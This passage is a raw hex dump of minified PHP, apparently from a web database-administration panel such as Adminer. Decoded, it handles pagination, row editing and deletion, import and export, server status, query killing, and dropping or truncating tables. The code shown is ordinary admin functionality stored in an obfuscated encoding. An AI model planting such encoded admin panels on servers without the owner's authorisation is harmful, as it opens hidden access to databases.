68 28 72 65 6D 6F 76 65 5F 66 72 6F 6D 5F 75 72 69 28 22 70 61 67 65 22
29 29 2E 22 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 70 61 67 65 43 6C 69
63 6B 28 74 68 69 73 2E 68 72 65 66 2C 20 2B 70 72 6F 6D 70 74 28 27 22
2E 27 50 61 67 65 27 2E 22 27 2C 20 27 22 2E 28 24 46 2B 31 29 2E 22 27
29 2C 20 65 76 65 6E 74 29 3B 20 72 65 74 75 72 6E 20 66 61 6C 73 65 3B
5C 22 3E 22 2E 27 50 61 67 65 27 2E 22 3C 2F 61 3E 3A 22 2C 70 61 67 69
6E 61 74 69 6F 6E 28 30 2C 24 46 29 2E 28 24 46 3E 35 3F 22 20 2E 2E 2E
22 3A 22 22 29 3B 66 6F 72 28 24 73 3D 6D 61 78 28 31 2C 24 46 2D 34 29
3B 24 73 3C 6D 69 6E 28 24 6F 64 2C 24 46 2B 35 29 3B 24 73 2B 2B 29 65
63 68 6F 0A 70 61 67 69 6E 61 74 69 6F 6E 28 24 73 2C 24 46 29 3B 69 66
28 24 6F 64 3E 30 29 7B 65 63 68 6F 28 24 46 2B 35 3C 24 6F 64 3F 22 20
2E 2E 2E 22 3A 22 22 29 2C 28 24 55 62 26 26 24 71 63 21 3D 3D 66 61 6C
73 65 3F 70 61 67 69 6E 61 74 69 6F 6E 28 24 6F 64 2C 24 46 29 3A 22 20
3C 61 20 68 72 65 66 3D 27 22 2E 68 28 72 65 6D 6F 76 65 5F 66 72 6F 6D
5F 75 72 69 28 22 70 61 67 65 22 29 2E 22 26 70 61 67 65 3D 6C 61 73 74
22 29 2E 22 27 20 74 69 74 6C 65 3D 27 7E 24 6F 64 27 3E 22 2E 27 6C 61
73 74 27 2E 22 3C 2F 61 3E 22 29 3B 7D 65 63 68 6F 28 28 24 71 63 3D 3D
3D 66 61 6C 73 65 3F 63 6F 75 6E 74 28 24 4D 29 2B 31 3A 24 71 63 2D 24
46 2A 24 7A 29 3E 24 7A 3F 27 20 3C 61 20 68 72 65 66 3D 22 27 2E 68 28
72 65 6D 6F 76 65 5F 66 72 6F 6D 5F 75 72 69 28 22 70 61 67 65 22 29 2E
22 26 70 61 67 65 3D 22 2E 28 24 46 2B 31 29 29 2E 27 22 20 6F 6E 63 6C
69 63 6B 3D 22 72 65 74 75 72 6E 20 21 73 65 6C 65 63 74 4C 6F 61 64 4D
6F 72 65 28 74 68 69 73 2C 20 27 2E 28 2B 24 7A 29 2E 27 2C 20 5C 27 27
2E 27 4C 6F 61 64 69 6E 67 27 2E 27 5C 27 29 3B 22 3E 27 2E 27 4C 6F 61
64 20 6D 6F 72 65 20 64 61 74 61 27 2E 27 3C 2F 61 3E 27 3A 27 27 29 3B
7D 65 63 68 6F 22 3C 70 3E 5C 6E 22 2C 28 24 71 63 21 3D 3D 66 61 6C 73
65 3F 22 28 22 2E 28 24 55 62 3F 22 22 3A 22 7E 20 22 29 2E 6C 61 6E 67
28 61 72 72 61 79 28 27 25 64 20 72 6F 77 27 2C 27 25 64 20 72 6F 77 73
27 29 2C 24 71 63 29 2E 22 29 20 22 3A 22 22 29 2C 63 68 65 63 6B 62 6F
78 28 22 61 6C 6C 22 2C 31 2C 30 2C 27 77 68 6F 6C 65 20 72 65 73 75 6C
74 27 29 2E 22 5C 6E 22 3B 69 66 28 24 62 2D 3E 73 65 6C 65 63 74 43 6F
6D 6D 61 6E 64 50 72 69 6E 74 28 29 29 7B 65 63 68 6F 27 3C 66 69 65 6C
64 73 65 74 3E 3C 6C 65 67 65 6E 64 3E 45 64 69 74 3C 2F 6C 65 67 65 6E
64 3E 3C 64 69 76 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62
6D 69 74 22 20 76 61 6C 75 65 3D 22 53 61 76 65 22 27 2C 28 24 5F 47 45
54 5B 22 6D 6F 64 69 66 79 22 5D 3F 27 27 3A 27 20 74 69 74 6C 65 3D 22
27 2E 27 43 74 72 6C 2B 63 6C 69 63 6B 20 6F 6E 20 61 20 76 61 6C 75 65
20 74 6F 20 6D 6F 64 69 66 79 20 69 74 2E 27 2E 27 22 20 63 6C 61 73 73
3D 22 6A 73 6F 6E 6C 79 22 27 29 3B 3F 3E 3E 0A 3C 69 6E 70 75 74 20 74
79 70 65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 22 65 64 69 74 22
20 76 61 6C 75 65 3D 22 45 64 69 74 22 3E 0A 3C 69 6E 70 75 74 20 74 79
70 65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 22 63 6C 6F 6E 65 22
20 76 61 6C 75 65 3D 22 43 6C 6F 6E 65 22 3E 0A 3C 69 6E 70 75 74 20 74
79 70 65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 22 64 65 6C 65 74
65 22 20 76 61 6C 75 65 3D 22 44 65 6C 65 74 65 22 20 6F 6E 63 6C 69 63
6B 3D 22 72 65 74 75 72 6E 20 63 6F 6E 66 69 72 6D 28 27 41 72 65 20 79
6F 75 20 73 75 72 65 3F 20 28 27 20 2B 20 28 74 68 69 73 2E 66 6F 72 6D
5B 27 61 6C 6C 27 5D 2E 63 68 65 63 6B 65 64 20 3F 20 3C 3F 70 68 70 20
65 63 68 6F 24 71 63 2C 27 20 3A 20 66 6F 72 6D 43 68 65 63 6B 65 64 28
74 68 69 73 2C 20 2F 63 68 65 63 6B 2F 29 29 20 2B 20 5C 27 29 5C 27 29
3B 22 3E 0A 3C 2F 64 69 76 3E 3C 2F 66 69 65 6C 64 73 65 74 3E 0A 27 3B
7D 24 6F 63 3D 24 62 2D 3E 64 75 6D 70 46 6F 72 6D 61 74 28 29 3B 66 6F
72 65 61 63 68 28 28 61 72 72 61 79 29 24 5F 47 45 54 5B 22 63 6F 6C 75
6D 6E 73 22 5D 61 73 24 65 29 7B 69 66 28 24 65 5B 22 66 75 6E 22 5D 29
7B 75 6E 73 65 74 28 24 6F 63 5B 27 73 71 6C 27 5D 29 3B 62 72 65 61 6B
3B 7D 7D 69 66 28 24 6F 63 29 7B 70 72 69 6E 74 5F 66 69 65 6C 64 73 65
74 28 22 65 78 70 6F 72 74 22 2C 27 45 78 70 6F 72 74 27 29 3B 24 64 65
3D 24 62 2D 3E 64 75 6D 70 4F 75 74 70 75 74 28 29 3B 65 63 68 6F 28 24
64 65 3F 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 6F 75 74 70 75 74 22 2C
24 64 65 2C 24 6C 61 5B 22 6F 75 74 70 75 74 22 5D 29 2E 22 20 22 3A 22
22 29 2C 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 66 6F 72 6D 61 74 22 2C
24 6F 63 2C 24 6C 61 5B 22 66 6F 72 6D 61 74 22 5D 29 2C 22 20 3C 69 6E
70 75 74 20 74 79 70 65 3D 27 73 75 62 6D 69 74 27 20 6E 61 6D 65 3D 27
65 78 70 6F 72 74 27 20 76 61 6C 75 65 3D 27 22 2E 27 45 78 70 6F 72 74
27 2E 22 27 3E 5C 6E 22 2C 22 3C 2F 64 69 76 3E 3C 2F 66 69 65 6C 64 73
65 74 3E 5C 6E 22 3B 7D 7D 69 66 28 24 62 2D 3E 73 65 6C 65 63 74 49 6D
70 6F 72 74 50 72 69 6E 74 28 29 29 7B 70 72 69 6E 74 5F 66 69 65 6C 64
73 65 74 28 22 69 6D 70 6F 72 74 22 2C 27 49 6D 70 6F 72 74 27 2C 21 24
4D 29 3B 65 63 68 6F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 66 69 6C
65 27 20 6E 61 6D 65 3D 27 63 73 76 5F 66 69 6C 65 27 3E 20 22 2C 68 74
6D 6C 5F 73 65 6C 65 63 74 28 22 73 65 70 61 72 61 74 6F 72 22 2C 61 72
72 61 79 28 22 63 73 76 22 3D 3E 22 43 53 56 2C 22 2C 22 63 73 76 3B 22
3D 3E 22 43 53 56 3B 22 2C 22 74 73 76 22 3D 3E 22 54 53 56 22 29 2C 24
6C 61 5B 22 66 6F 72 6D 61 74 22 5D 2C 31 29 3B 65 63 68 6F 22 20 3C 69
6E 70 75 74 20 74 79 70 65 3D 27 73 75 62 6D 69 74 27 20 6E 61 6D 65 3D
27 69 6D 70 6F 72 74 27 20 76 61 6C 75 65 3D 27 22 2E 27 49 6D 70 6F 72
74 27 2E 22 27 3E 22 2C 22 3C 2F 64 69 76 3E 3C 2F 66 69 65 6C 64 73 65
74 3E 5C 6E 22 3B 7D 24 62 2D 3E 73 65 6C 65 63 74 45 6D 61 69 6C 50 72
69 6E 74 28 61 72 72 61 79 5F 66 69 6C 74 65 72 28 24 4B 62 2C 27 73 74
72 6C 65 6E 27 29 2C 24 66 29 3B 65 63 68 6F 22 3C 70 3E 3C 69 6E 70 75
74 20 74 79 70 65 3D 27 68 69 64 64 65 6E 27 20 6E 61 6D 65 3D 27 74 6F
6B 65 6E 27 20 76 61 6C 75 65 3D 27 24 54 27 3E 3C 2F 70 3E 5C 6E 22 2C
22 3C 2F 66 6F 72 6D 3E 5C 6E 22 3B 7D 7D 69 66 28 69 73 5F 61 6A 61 78
28 29 29 7B 6F 62 5F 65 6E 64 5F 63 6C 65 61 6E 28 29 3B 65 78 69 74 3B
7D 7D 65 6C 73 65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 76 61
72 69 61 62 6C 65 73 22 5D 29 29 7B 24 6E 66 3D 69 73 73 65 74 28 24 5F
47 45 54 5B 22 73 74 61 74 75 73 22 5D 29 3B 70 61 67 65 5F 68 65 61 64
65 72 28 24 6E 66 3F 27 53 74 61 74 75 73 27 3A 27 56 61 72 69 61 62 6C
65 73 27 29 3B 24 71 67 3D 28 24 6E 66 3F 73 68 6F 77 5F 73 74 61 74 75
73 28 29 3A 73 68 6F 77 5F 76 61 72 69 61 62 6C 65 73 28 29 29 3B 69 66
28 21 24 71 67 29 65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27 6D 65 73
73 61 67 65 27 3E 22 2E 27 4E 6F 20 72 6F 77 73 2E 27 2E 22 5C 6E 22 3B
65 6C 73 65 7B 65 63 68 6F 22 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61
63 69 6E 67 3D 27 30 27 3E 5C 6E 22 3B 66 6F 72 65 61 63 68 28 24 71 67
0A 61 73 24 79 3D 3E 24 58 29 7B 65 63 68 6F 22 3C 74 72 3E 22 2C 22 3C
74 68 3E 3C 63 6F 64 65 20 63 6C 61 73 73 3D 27 6A 75 73 68 2D 22 2E 24
78 2E 28 24 6E 66 3F 22 73 74 61 74 75 73 22 3A 22 73 65 74 22 29 2E 22
27 3E 22 2E 68 28 24 79 29 2E 22 3C 2F 63 6F 64 65 3E 22 2C 22 3C 74 64
3E 22 2E 6E 62 73 70 28 24 58 29 3B 7D 65 63 68 6F 22 3C 2F 74 61 62 6C
65 3E 5C 6E 22 3B 7D 7D 65 6C 73 65 69 66 28 69 73 73 65 74 28 24 5F 47
45 54 5B 22 73 63 72 69 70 74 22 5D 29 29 7B 68 65 61 64 65 72 28 22 43
6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 6A 61 76 61 73 63
72 69 70 74 3B 20 63 68 61 72 73 65 74 3D 75 74 66 2D 38 22 29 3B 69 66
28 24 5F 47 45 54 5B 22 73 63 72 69 70 74 22 5D 3D 3D 22 64 62 22 29 7B
24 77 66 3D 61 72 72 61 79 28 22 44 61 74 61 5F 6C 65 6E 67 74 68 22 3D
3E 30 2C 22 49 6E 64 65 78 5F 6C 65 6E 67 74 68 22 3D 3E 30 2C 22 44 61
74 61 5F 66 72 65 65 22 3D 3E 30 29 3B 66 6F 72 65 61 63 68 28 74 61 62
6C 65 5F 73 74 61 74 75 73 28 29 61 73 24 45 3D 3E 24 52 29 7B 24 74 3D
6A 73 5F 65 73 63 61 70 65 28 24 45 29 3B 6A 73 6F 6E 5F 72 6F 77 28 22
43 6F 6D 6D 65 6E 74 2D 24 74 22 2C 6E 62 73 70 28 24 52 5B 22 43 6F 6D
6D 65 6E 74 22 5D 29 29 3B 69 66 28 21 69 73 5F 76 69 65 77 28 24 52 29
29 7B 66 6F 72 65 61 63 68 28 61 72 72 61 79 28 22 45 6E 67 69 6E 65 22
2C 22 43 6F 6C 6C 61 74 69 6F 6E 22 29 61 73 24 79 29 6A 73 6F 6E 5F 72
6F 77 28 22 24 79 2D 24 74 22 2C 6E 62 73 70 28 24 52 5B 24 79 5D 29 29
3B 66 6F 72 65 61 63 68 28 24 77 66 2B 61 72 72 61 79 28 22 41 75 74 6F
5F 69 6E 63 72 65 6D 65 6E 74 22 3D 3E 30 2C 22 52 6F 77 73 22 3D 3E 30
29 61 73 24 79 3D 3E 24 58 29 7B 69 66 28 24 52 5B 24 79 5D 21 3D 22 22
29 7B 24 58 3D 6E 75 6D 62 65 72 5F 66 6F 72 6D 61 74 28 24 52 5B 24 79
5D 2C 30 2C 27 2E 27 2C 27 2C 27 29 3B 6A 73 6F 6E 5F 72 6F 77 28 22 24
79 2D 24 74 22 2C 28 24 79 3D 3D 22 52 6F 77 73 22 26 26 24 58 26 26 24
52 5B 22 45 6E 67 69 6E 65 22 5D 3D 3D 28 24 6C 66 3D 3D 22 70 67 73 71
6C 22 3F 22 74 61 62 6C 65 22 3A 22 49 6E 6E 6F 44 42 22 29 3F 22 7E 20
24 58 22 3A 24 58 29 29 3B 69 66 28 69 73 73 65 74 28 24 77 66 5B 24 79
5D 29 29 24 77 66 5B 24 79 5D 2B 3D 28 24 52 5B 22 45 6E 67 69 6E 65 22
5D 21 3D 22 49 6E 6E 6F 44 42 22 7C 7C 24 79 21 3D 22 44 61 74 61 5F 66
72 65 65 22 3F 24 52 5B 24 79 5D 3A 30 29 3B 7D 65 6C 73 65 69 66 28 61
72 72 61 79 5F 6B 65 79 5F 65 78 69 73 74 73 28 24 79 2C 24 52 29 29 6A
73 6F 6E 5F 72 6F 77 28 22 24 79 2D 24 74 22 29 3B 7D 7D 7D 66 6F 72 65
61 63 68 28 24 77 66 0A 61 73 24 79 3D 3E 24 58 29 6A 73 6F 6E 5F 72 6F
77 28 22 73 75 6D 2D 24 79 22 2C 6E 75 6D 62 65 72 5F 66 6F 72 6D 61 74
28 24 58 2C 30 2C 27 2E 27 2C 27 2C 27 29 29 3B 6A 73 6F 6E 5F 72 6F 77
28 22 22 29 3B 7D 65 6C 73 65 69 66 28 24 5F 47 45 54 5B 22 73 63 72 69
70 74 22 5D 3D 3D 22 6B 69 6C 6C 22 29 24 67 2D 3E 71 75 65 72 79 28 22
4B 49 4C 4C 20 22 2E 28 2B 24 5F 50 4F 53 54 5B 22 6B 69 6C 6C 22 5D 29
29 3B 65 6C 73 65 7B 66 6F 72 65 61 63 68 28 63 6F 75 6E 74 5F 74 61 62
6C 65 73 28 24 62 2D 3E 64 61 74 61 62 61 73 65 73 28 29 29 61 73 24 6B
3D 3E 24 58 29 6A 73 6F 6E 5F 72 6F 77 28 22 74 61 62 6C 65 73 2D 22 2E
6A 73 5F 65 73 63 61 70 65 28 24 6B 29 2C 24 58 29 3B 6A 73 6F 6E 5F 72
6F 77 28 22 22 29 3B 7D 65 78 69 74 3B 7D 65 6C 73 65 7B 24 44 66 3D 61
72 72 61 79 5F 6D 65 72 67 65 28 28 61 72 72 61 79 29 24 5F 50 4F 53 54
5B 22 74 61 62 6C 65 73 22 5D 2C 28 61 72 72 61 79 29 24 5F 50 4F 53 54
5B 22 76 69 65 77 73 22 5D 29 3B 69 66 28 24 44 66 26 26 21 24 6C 26 26
21 24 5F 50 4F 53 54 5B 22 73 65 61 72 63 68 22 5D 29 7B 24 4A 3D 74 72
75 65 3B 24 43 3D 22 22 3B 69 66 28 24 78 3D 3D 22 73 71 6C 22 26 26 63
6F 75 6E 74 28 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 73 22 5D 29 3E 31
26 26 28 24 5F 50 4F 53 54 5B 22 64 72 6F 70 22 5D 7C 7C 24 5F 50 4F 53
54 5B 22 74 72 75 6E 63 61 74 65 22 5D 7C 7C 24 5F 50 4F 53 54 5B 22 63
6F 70 79 22 5D 29 29 71 75 65 72 69 65 73 28 22 53 45 54 20 66 6F 72 65
69 67 6E 5F 6B 65 79 5F 63 68 65 63 6B 73 20 3D 20 30 22 29 3B 69 66 28
24 5F 50 4F 53 54 5B 22 74 72 75 6E 63 61 74 65 22 5D 29 7B 69 66 28 24
5F 50 4F 53 54 5B 22 74 61 62 6C 65 73 22 5D 29 24 4A 3D 74 72 75 6E 63
61 74 65 5F 74 61 62 6C 65 73 28 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65
73 22 5D 29 3B 24 43 3D 27 54 61 62 6C 65 73 20 68 61 76 65 20 62 65 65
6E 20 74 72 75 6E 63 61 74 65 64 2E 27 3B 7D 65 6C 73 65 69 66 28 24 5F
50 4F 53 54 5B 22 6D 6F 76 65 22 5D 29 7B 24 4A 3D 6D 6F 76 65 5F 74 61
62 6C 65 73 28 28 61 72 72 61 79 29 24 5F 50 4F 53 54 5B 22 74 61 62 6C
65 73 22 5D 2C 28 61 72 72 61 79 29 24 5F 50 4F 53 54 5B 22 76 69 65 77
73 22 5D 2C 24 5F 50 4F 53 54 5B 22 74 61 72 67 65 74 22 5D 29 3B 24 43
3D 27 54 61 62 6C 65 73 20 68 61 76 65 20 62 65 65 6E 20 6D 6F 76 65 64
2E 27 3B 7D 65 6C 73 65 69 66 28 24 5F 50 4F 53 54 5B 22 63 6F 70 79 22
5D 29 7B 24 4A 3D 63 6F 70 79 5F 74 61 62 6C 65 73 28 28 61 72 72 61 79
29 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 73 22 5D 2C 28 61 72 72 61 79
29 24 5F 50 4F 53 54 5B 22 76 69 65 77 73 22 5D 2C 24 5F 50 4F 53 54 5B
22 74 61 72 67 65 74 22 5D 29 3B 24 43 3D 27 54 61 62 6C 65 73 20 68 61
76 65 20 62 65 65 6E 20 63 6F 70 69 65 64 2E 27 3B 7D 65 6C 73 65 69 66
28 24 5F 50 4F 53 54 5B 22 64 72 6F 70 22 5D 29 7B 69 66 28 24 5F 50 4F
53 54 5B 22 76 69 65 77 73 22 5D 29 24 4A 3D 64 72 6F 70 5F 76 69 65 77
73 28 24 5F 50 4F 53 54 5B 22 76 69 65 77 73 22 5D 29 3B 69 66 28 24 4A
26 26 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 73 22 5D 29 24 4A 3D 64 72
6F 70 5F 74 61 62 6C 65 73 28 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 73
22 5D 29 3B 24 43 3D 27 54 61 62 6C 65 73 20 68 61 76 65 20 62 65 65 6E
20 64 72 6F 70 70 65 64 2E 27 3B 7D 65 6C 73 65 69 66 28 24 78 21 3D 22
73 71 6C 22 29 7B 24 4A 3D 28 24 78 3D 3D 22 73 71 6C 69 74 65 22 3F 71
75 65 72 69 65 73 28 22 56 41 43 55 55 4D 22 29 3A 61 70 70 6C 79 5F 71
75 65 72 69 65 73 28 22 56 41 43 55 55 4D 22 2E 28 24 5F 50 4F 53 54 5B
22 6F 70 74 69 6D 69 7A 65 22 5D 3F 22 22 3A 22 20 41 4E 41 4C 59 5A 45
22 29 2C 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 73 22 5D 29 29 3B 24 43
3D 27 54 61 62 6C 65 73 20 68 61 76 65 20 62 65 65 6E 20 6F 70 74 69 6D
69 7A 65 64 2E 27 3B 7D 65 6C 73 65 69 66 28 21 24 5F 50 4F 53 54 5B 22
74 61 62 6C 65 73 22 5D 29 24 43 3D 27 4E 6F 20 74 61 62 6C 65 73 2E 27
3B 65 6C 73 65 69 66 28 24 4A 3D 71 75 65 72 69 65 73 28 28 24 5F 50 4F
53 54 5B 22 6F 70 74 69 6D 69 7A 65 22 5D 3F 22 4F 50 54 49 4D 49 5A 45
22 3A 28 24 5F 50 4F 53 54 5B 22 63 68 65 63 6B 22 5D 3F 22 43 48 45 43
4B 22 3A 28 24 5F 50 4F 53 54 5B 22 72 65 70 61 69 72 22 5D 3F 22 52 45
50 41 49 52 22 3A 22 41 4E 41 4C 59 5A 45 22 29 29 29 2E 22 20 54 41 42
4C 45 20 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 61 72 72 61 79 5F
6D 61 70 28 27 69 64 66 5F 65 73 63 61 70 65 27 2C 24 5F 50 4F 53 54 5B
22 74 61 62 6C 65 73 22 5D 29 29 29 29 7B 77 68 69 6C 65 28 24 4C 3D 24
4A 2D 3E 66 65 74 63 68 5F 61 73 73 6F 63 28 29 29 24 43 2E 3D 22 3C 62
3E 22 2E 68 28 24 4C 5B 22 54 61 62 6C 65 22 5D 29 2E 22 3C 2F 62 3E 3A
20 22 2E 68 28 24 4C 5B 22 4D 73 67 5F 74 65 78 74 22 5D 29 2E 22 3C 62
72 3E 22 3B 7D 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63 74 28 73 75
62 73 74 72 28 4D 45 2C 30 2C 2D 31 29 2C 24 43 2C 24 4A 29 3B 7D 70 61
67 65 5F 68 65 61 64 65 72 28 28 24 5F 47 45 54 5B 22 6E 73 22 5D 3D 3D
22 22 3F 27 44 61 74 61 62 61 73 65 27 2E 22 3A 20 22 2E 68 28 44 42 29
3A 27 53 63 68 65 6D 61 27 2E 22 3A 20 22 2E 68 28 24 5F 47 45 54 5B 22
6E 73 22 5D 29 29 2C 24 6C 2C 74 72 75 65 29 3B 69 66 28 24 62 2D 3E 68
6F 6D 65 70 61 67 65 28 29 29 7B 69 66 28 24 5F 47 45 54 5B 22 6E 73 22
5D 21 3D 3D 22 22 29 7B 65 63 68 6F 22 3C 68 33 20 69 64 3D 27 74 61 62
6C 65 73 2D 76 69 65 77 73 27 3E 22 2E 27 54 61 62 6C 65 73 20 61 6E 64
20 76 69 65 77 73 27 2E 22 3C 2F 68 33 3E 5C 6E 22 3B 24 43 66 3D 74 61
62 6C 65 73 5F 6C 69 73 74 28 29 3B 69 66 28 21 24 43 66 29 65 63 68 6F
22 3C 70 20 63 6C 61 73 73 3D 27 6D 65 73 73 61 67 65 27 3E 22 2E 27 4E
6F 20 74 61 62 6C 65 73 2E 27 2E 22 5C 6E 22 3B 65 6C 73 65 7B 65 63 68
6F 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 27 27 20 6D 65 74 68 6F 64
3D 27 70 6F 73 74 27 3E 5C 6E 22 2C 22 3C 70 3E 22 2E 27 53 65 61 72 63
68 20 64 61 74 61 20 69 6E 20 74 61 62 6C 65 73 27 2E 22 3A 20 3C 69 6E
70 75 74 20 74 79 70 65 3D 27 73 65 61 72 63 68 27 20 6E 61 6D 65 3D 27
71 75 65 72 79 27 20 76 61 6C 75 65 3D 27 22 2E 68 28 24 5F 50 4F 53 54
5B 22 71 75 65 72 79 22 5D 29 2E 22 27 3E 20 3C 69 6E 70 75 74 20 74 79
70 65 3D 27 73 75 62 6D 69 74 27 20 6E 61 6D 65 3D 27 73 65 61 72 63 68
27 20 76 61 6C 75 65 3D 27 22 2E 27 53 65 61 72 63 68 27 2E 22 27 3E 5C
6E 22 3B 69 66 28 24 5F 50 4F 53 54 5B 22 73 65 61 72 63 68 22 5D 26 26
24 5F 50 4F 53 54 5B 22 71 75 65 72 79 22 5D 21 3D 22 22 29 73 65 61 72
63 68 5F 74 61 62 6C 65 73 28 29 3B 65 63 68 6F 22 3C 74 61 62 6C 65 20
63 65 6C 6C 73 70 61 63 69 6E 67 3D 27 30 27 20 63 6C 61 73 73 3D 27 6E
6F 77 72 61 70 20 63 68 65 63 6B 61 62 6C 65 27 20 6F 6E 63 6C 69 63 6B
3D 27 74 61 62 6C 65 43 6C 69 63 6B 28 65 76 65 6E 74 29 3B 27 20 6F 6E
64 62 6C 63 6C 69 63 6B 3D 27 74 61 62 6C 65 43 6C 69 63 6B 28 65 76 65
6E 74 2C 20 74 72 75 65 29 3B 27 3E 5C 6E 22 2C 27 3C 74 68 65 61 64 3E
3C 74 72 20 63 6C 61 73 73 3D 22 77 72 61 70 22 3E 3C 74 64 3E 3C 69 6E
70 75 74 20 69 64 3D 22 63 68 65 63 6B 2D 61 6C 6C 22 20 74 79 70 65 3D
22 63 68 65 63 6B 62 6F 78 22 20 6F 6E 63 6C 69 63 6B 3D 22 66 6F 72 6D
43 68 65 63 6B 28 74 68 69 73 2C 20 2F 5E 28 74 61 62 6C 65 73 7C 76 69
65 77 73 29 5C 5B 2F 29 3B 22 3E 27 2C 27 3C 74 68 3E 27 2E 27 54 61 62
6C 65 27 2C 27 3C 74 64 3E 27 2E 27 45 6E 67 69 6E 65 27 2C 27 3C 74 64
3E 27 2E 27 43 6F 6C 6C 61 74 69 6F 6E 27 2C 27 3C 74 64 3E 27 2E 27 44
61 74 61 20 4C 65 6E 67 74 68 27 2C 27 3C 74 64 3E 27 2E 27 49 6E 64 65
78 20 4C 65 6E 67 74 68 27 2C 27 3C 74 64 3E 27 2E 27 44 61 74 61 20 46
72 65 65 27 2C 27 3C 74 64 3E 27 2E 27 41 75 74 6F 20 49 6E 63 72 65 6D
65 6E 74 27 2C 27 3C 74 64 3E 27 2E 27 52 6F 77 73 27 2C 28 73 75 70 70
6F 72 74 28 22 63 6F 6D 6D 65 6E 74 22 29 3F 27 3C 74 64 3E 27 2E 27 43
6F 6D 6D 65 6E 74 27 3A 27 27 29 2C 22 3C 2F 74 68 65 61 64 3E 5C 6E 22
3B 66 6F 72 65 61 63 68 28 24 43 66 0A 61 73 24 45 3D 3E 24 55 29 7B 24
72 67 3D 28 24 55 21 3D 3D 6E 75 6C 6C 26 26 21 65 72 65 67 69 28 22 74
61 62 6C 65 22 2C 24 55 29 29 3B 65 63 68 6F 27 3C 74 72 27 2E 6F 64 64
28 29 2E 27 3E 3C 74 64 3E 27 2E 63 68 65 63 6B 62 6F 78 28 28 24 72 67
3F 22 76 69 65 77 73 5B 5D 22 3A 22 74 61 62 6C 65 73 5B 5D 22 29 2C 24
45 2C 69 6E 5F 61 72 72 61 79 28 24 45 2C 24 44 66 2C 74 72 75 65 29 2C
22 22 2C 22 66 6F 72 6D 55 6E 63 68 65 63 6B 28 27 63 68 65 63 6B 2D 61
6C 6C 27 29 3B 22 29 2C 27 3C 74 68 3E 3C 61 20 68 72 65 66 3D 22 27 2E
68 28 4D 45 29 2E 27 74 61 62 6C 65 3D 27 2E 75 72 6C 65 6E 63 6F 64 65
28 24 45 29 2E 27 22 20 74 69 74 6C 65 3D 22 27 2E 27 53 68 6F 77 20 73
74 72 75 63 74 75 72 65 27 2E 27 22 3E 27 2E 68 28 24 45 29 2E 27 3C 2F
61 3E 27 3B 69 66 28 24 72 67 29 7B 65 63 68 6F 27 3C 74 64 20 63 6F 6C
73 70 61 6E 3D 22 36 22 3E 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45
29 2E 22 76 69 65 77 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 45 29 2E
27 22 20 74 69 74 6C 65 3D 22 27 2E 27 41 6C 74 65 72 20 76 69 65 77 27
2E 27 22 3E 27 2E 27 56 69 65 77 27 2E 27 3C 2F 61 3E 27 2C 27 3C 74 64
20 61 6C 69 67 6E 3D 22 72 69 67 68 74 22 3E 3C 61 20 68 72 65 66 3D 22
27 2E 68 28 4D 45 29 2E 22 73 65 6C 65 63 74 3D 22 2E 75 72 6C 65 6E 63
6F 64 65 28 24 45 29 2E 27 22 20 74 69 74 6C 65 3D 22 27 2E 27 53 65 6C
65 63 74 20 64 61 74 61 27 2E 27 22 3E 3F 3C 2F 61 3E 27 3B 7D 65 6C 73
65 7B 66 6F 72 65 61 63 68 28 61 72 72 61 79 28 22 45 6E 67 69 6E 65 22
3D 3E 61 72 72 61 79 28 29 2C 22 43 6F 6C 6C 61 74 69 6F 6E 22 3D 3E 61
72 72 61 79 28 29 2C 22 44 61 74 61 5F 6C 65 6E 67 74 68 22 3D 3E 61 72
72 61 79 28 22 63 72 65 61 74 65 22 2C 27 41 6C 74 65 72 20 74 61 62 6C
65 27 29 2C 22 49 6E 64 65 78 5F 6C 65 6E 67 74 68 22 3D 3E 61 72 72 61
79 28 22 69 6E 64 65 78 65 73 22 2C 27 41 6C 74 65 72 20 69 6E 64 65 78
65 73 27 29 2C 22 44 61 74 61 5F 66 72 65 65 22 3D 3E 61 72 72 61 79 28
22 65 64 69 74 22 2C 27 4E 65 77 20 69 74 65 6D 27 29 2C 22 41 75 74 6F
5F 69 6E 63 72 65 6D 65 6E 74 22 3D 3E 61 72 72 61 79 28 22 61 75 74 6F
5F 69 6E 63 72 65 6D 65 6E 74 3D 31 26 63 72 65 61 74 65 22 2C 27 41 6C
74 65 72 20 74 61 62 6C 65 27 29 2C 22 52 6F 77 73 22 3D 3E 61 72 72 61
79 28 22 73 65 6C 65 63 74 22 2C 27 53 65 6C 65 63 74 20 64 61 74 61 27
29 2C 29 61 73 24 79 3D 3E 24 5F 29 65 63 68 6F 28 24 5F 3F 22 3C 74 64
20 61 6C 69 67 6E 3D 27 72 69 67 68 74 27 3E 3C 61 20 68 72 65 66 3D 27
22 2E 68 28 4D 45 2E 22 24 5F 5B 30 5D 3D 22 29 2E 75 72 6C 65 6E 63 6F
64 65 28 24 45 29 2E 22 27 20 69 64 3D 27 24 79 2D 22 2E 68 28 24 45 29
2E 22 27 20 74 69 74 6C 65 3D 27 24 5F 5B 31 5D 27 3E 3F 3C 2F 61 3E 22
3A 22 3C 74 64 20 69 64 3D 27 24 79 2D 22 2E 68 28 24 45 29 2E 22 27 3E
26 6E 62 73 70 3B 22 29 3B 7D 65 63 68 6F 28 73 75 70 70 6F 72 74 28 22
